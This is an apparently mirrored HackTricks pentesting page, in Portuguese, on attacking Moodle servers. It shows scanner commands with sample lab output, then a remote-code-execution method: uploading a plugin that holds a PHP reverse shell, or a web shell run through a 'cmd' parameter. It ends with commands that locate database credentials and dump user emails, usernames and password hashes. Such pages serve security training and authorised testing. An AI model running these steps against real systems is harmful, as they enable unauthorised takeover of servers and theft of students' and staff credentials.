mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
98 lines
3.3 KiB
Markdown
98 lines
3.3 KiB
Markdown
# Moodle
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{{#include ../../banners/hacktricks-training.md}}
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## Scans Automáticos
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### droopescan
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```bash
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pip3 install droopescan
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droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
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[+] Plugins found:
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forum http://moodle.schooled.htb/moodle/mod/forum/
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http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
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http://moodle.schooled.htb/moodle/mod/forum/version.php
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[+] No themes found.
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[+] Possible version(s):
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3.10.0-beta
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[+] Possible interesting urls found:
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Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
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Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
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[+] Scan finished (0:00:05.643539 elapsed)
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```
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### moodlescan
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```bash
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#Install from https://github.com/inc0d3/moodlescan
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python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
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Version 0.7 - Dic/2020
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.............................................................................................................
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By Victor Herrera - supported by www.incode.cl
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.............................................................................................................
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Getting server information http://moodle.schooled.htb/moodle/ ...
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server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
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x-powered-by : PHP/7.4.15
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x-frame-options : sameorigin
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last-modified : Wed, 07 Apr 2021 21:33:41 GMT
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Getting moodle version...
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Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
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Searching vulnerabilities...
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Vulnerabilities found: 0
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Scan completed.
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```
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### CMSMap
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```bash
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pip3 install git+https://github.com/dionach/CMSmap.git
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cmsmap http://moodle.example.com/<moodle_path>
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```
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### CVEs
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Eu descobri que as ferramentas automáticas são bastante **inúteis para encontrar vulnerabilidades que afetam a versão do moodle**. Você pode **verificar** por elas em [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
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## **RCE**
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Você precisa ter o papel de **gerente** e você **pode instalar plugins** dentro da aba **"Administração do site"**:
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.png>)
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Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
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Então, você pode **instalar o seguinte plugin** que contém o clássico rev shell php do pentest-monkey (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_)
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{{#file}}
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moodle-rce-plugin.zip
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{{#endfile}}
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Ou você poderia usar o plugin de [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) para obter um shell PHP regular com o parâmetro "cmd".
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Para acessar e lançar o plugin malicioso, você precisa acessar:
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```bash
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http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
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```
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## POST
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### Encontrar credenciais do banco de dados
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```bash
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find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
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```
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### Extrair Credenciais do banco de dados
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```bash
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/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
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```
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{{#include ../../banners/hacktricks-training.md}}
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